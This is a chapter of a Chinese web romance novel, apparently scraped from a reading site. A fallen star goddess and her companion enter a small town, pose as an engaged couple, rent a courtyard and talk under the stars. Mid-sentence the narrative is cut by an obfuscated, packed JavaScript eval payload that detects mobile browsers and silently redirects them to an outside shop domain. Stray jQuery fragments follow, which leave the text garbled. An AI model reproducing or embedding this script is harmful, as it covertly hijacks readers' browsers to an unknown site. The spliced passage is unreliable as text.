文趣网 > 其他小说 > 他说娶我只为报恩 > 7. 未婚妻
    官道走到薄暮,路边的树渐渐让开,镇门从暮色里现出来。

    青灰的墙,黛色的瓦,炊烟一缕一缕的往天上爬。

    镇门口的石碑上刻着三个字。

    青石镇。

    摇光趴在萧惊澜背上,抬了抬眼皮,心想,这镇名真像天玑会喜欢的地方。

    有热闹,又适合藏人。

    "青石镇!"福宁激动得转圈圈,"公子,有镇子!有床!有馒头!"

    "……你小声点。"

    摇光也跟着点头:有床,她就可以躺平了。

    软乎乎的床,她来了!

    进镇门前,摇光回头望了一眼官道。

    逃掉的死士会回去报信,追兵迟早还会再来。

    但这会儿,管他呢!

    人间的小镇!俺来了!

    镇门口支着一张旧桌,两个兵丁抱着枪杆子打哈欠,见人来,懒洋洋地一抬下巴:

    "站住。路引。"

    摇光心里打了个突。

    路引。话本里人间通行的玩意。若是正经下凡,行司自会配发;可她是从天上摔下来的!

    她正要支吾,萧惊澜已经腾出一只手,从怀里取出一本文牒,递了过去。

    兵丁接过去,就着暮色翻了两页,眉头松了松:

    "萧止水,江南商籍,贩丝为业……"

    他抬头,目光在萧惊澜和摇光之间转了一圈:"这位姑娘是?"

    "未婚妻。"萧惊澜语气如常,"身子弱,经不得风。"

    摇光:"!"

    她非常配合地捂住嘴,弱弱咳了两声。

    演病秧子,她是专业的。

    兵丁把文牒还回来,挥挥手放行。等他们走出几步,身后传来兵丁压低的声音:

    "又是南边来的商贩。这几日,镇上的外乡人可越来越多了。"

    另一个兵丁道:"所以上头不是让查嘛。"

    摇光竖着耳朵听的认真。这消息,有情况,莫不是都来抓他的?

    摇光有些感叹,谢家、王家、李家……

    进了镇门,摇光拍拍他的肩,说要下来自己走走,萧惊澜没拦着,只是把摇光放下来轻声道:"走慢些。"

    摇光眼睛亮晶晶的,左顾右盼,原来凡间的市集和南天门夜市一样热闹。

    糖画摊子支着炭炉,糖炒栗子在铁锅里哗哗作响,卖花灯的婆婆把灯挂得满架子都是,一盏一盏,亮堂堂的。

    满街亮晶晶的,晃得她走不动道。

    萧惊澜走着走着,发现身后的人没了。

    回头一看,她正站在卖首饰的小摊前,盯着一支银簪子,眼神格外专注。

    那簪子其实很普通,几朵小小的银花,工艺粗糙。

    但她盯着看的样子,像在看什么宝物。

    萧惊澜走过去。

    "想要?"

    摇光回过神来,连忙摇头:"没有!我就看看。"

    他看了那簪子一眼,没说什么。

    租房很顺利,镇西头有间小院,两间屋,一棵老槐,一口井——就是不值房东要的那个价。

    房东是个矮胖的中年人,一双眼睛在萧惊澜和摇光身上来回打转。

    "这位公子,你们住?"

    "是。"

    房东搓着手,笑容殷勤:"不瞒公子,这几日县太爷查外乡人查得严,镇上能落脚的地方可不好找了。也就是我这儿,还剩下这么一处清净院子。"

    他说得轻描淡写,要价却比平日翻了一番还多。

    萧惊澜没还价,取了银子递过去。银子一入手,房东的眼睛都笑没了,腰弯下去三分:"公子爽快人!您看这院子,冬暖夏凉,井水都是甜的,正配您和夫人住。缺柴缺米您言语一声,马上送到!"

    说完点头哈腰地退出去,还顺手把院门给带上了。

    摇光看得啧啧称奇:"这脸变得,比翻书还快。"

    小院很快收拾出来。院子不大,胜在清净。

    老槐树的叶子落了满地,阳光透出枝叶漏下来,一地碎金。

    摇光一进门就盯上了树下的位置。

    "这里晒太阳正好。"她宣布,心安理得地霸占了院里唯一一把竹躺椅。

    福宁:"您倒是会挑……"

    "病人优先。"

    "您看着比我还精神……"

    "我病在内里。"

    福宁:"……"

    刚安顿下,隔壁就来了人。

    一个圆脸妇人挎着菜篮,笑呵呵地敲开院门:"新搬来的?我是隔壁的杨婶。喏,自家地里种的菜,不值什么钱,给你们添个新鲜。"

    摇光好奇地看着那一篮水灵灵的小青菜,接过菜篮向杨婶道:"谢谢杨婶,我正愁晚上吃什么呢。"

    杨婶被她这一笑晃了一下,扭头对萧惊澜说:"这闺女瘦得哟,可得好好养。"

    萧惊澜点点头:"会的。"

    杨婶走了,摇光抱着菜篮,眼神一直追着她的背影。

    "怎么了?"萧惊澜问。

    "杨婶人真好。"摇光说。

    追兵坏,房东坏,萧惊澜好,福宁好,杨婶也好。

    萧惊澜看了她一眼:"你喜欢她?"

    "喜欢。"摇光用力点头,"像我家……"她及时刹住,"像我梦里见过的亲人。"

    萧惊澜没说话,接过了菜篮。

    晚上,摇光坐在院中的竹椅上。

    她并起两指,在袖中朝天上轻轻一勾。

    这是星官传讯的法子。星与星官本是一体,往日她这么一勾,司辰司的铜铃就会响,星君就会骂人。

    今晚,什么都没响。

    那根与司辰司相连的线灰扑扑、软塌塌的,拨一下,晃三晃,像根晒蔫了的豆角。

    得,报个平安都报不上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940829|213914||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去。

    她望着檐角外那片黑下来的天,有点想家。

    天玑的新八卦没人听了,开阳新学的一手刀花没人看了,天权的周报写得再长,也没人抄了。

    他们现在,怕是急坏了吧。

    她叹了口气,转头看向屋子的方向。

    屋里亮着灯,他还没睡,灯下有人影晃动,大约是在记什么账。

    摇光看着那扇窗,心里有点小小的懊恼,自己前些日子果然太鲁莽了,一见到星星暗,就忍不住。

    "怎么还不睡。"

    身后传来他的声音。

    "夜里凉。"他说,"伤还没好,别吹风。"

    摇光侧过脸看他:"萧止水。"

    "嗯。"

    她把视线收回来,盯着自己的手指出神,过了一会儿才又开口:“我们……要在这儿住多久?”

    "等我的人找到我。"他望着远处黑下来的天,"少则半月,多则数月。"

    "那我每天做什么?"

    "养伤。"

    "养伤很无聊的。"

    "可以看书。"

    摇光想了想。她不太看书,天书库那些书,她大部分都没好好看过,全当枕头睡了。

    如今养伤,总不能天天躺着晒太阳……

    "好啊。"她说,"明日我跟你去书铺看看。"

    萧惊澜点头:"我明日去寻个活计。"

    "你还会做什么?"

    "写几个字,还是会的。"

    他说这话时神色淡淡,像在说一件极平常的事。

    摇光想,他这双手,是要握天下权柄的。

    她缩了缩肩膀,往躺椅深处靠去。

    "萧止水。"

    "嗯。"

    "这里的星星很好看。"

    萧惊澜顺着她的目光看向夜空。山镇的夜色清澈,星密得像撒了一天的碎银。

    "是。"他说,"末星尤其亮。"

    摇光正看星星的目光,落了半拍,转头看他。他也在看她,目光深得她看不懂。

    她分不清,他说的是天上的星,还是她。

    灯火渐次熄了。小镇安静下来,只偶尔有狗吠两声,又歇了。

    摇光躺在床上,盖着陌生的被子,望着陌生的屋顶,脑子里反反复复只有一句话。

    养伤,吃饭,看星。

    等伤养好了,回家。

    临睡前,她习惯性地按了按锁骨下那处裂痕。

    骨裂处还是疼的,可比坠凡那会儿轻了不少。

    她掰着手指算了算:从落进那条河到今天,才过去多久?仙骨裂成这样,好的却比想象的快。

    她翻来覆去琢磨了小半炷香,没琢磨出个所以然,最后得出一个十分合理的结论:

    凡间水土好,养人。

    她安心地翻了个身,睡了。

    隔壁的灯,还亮着。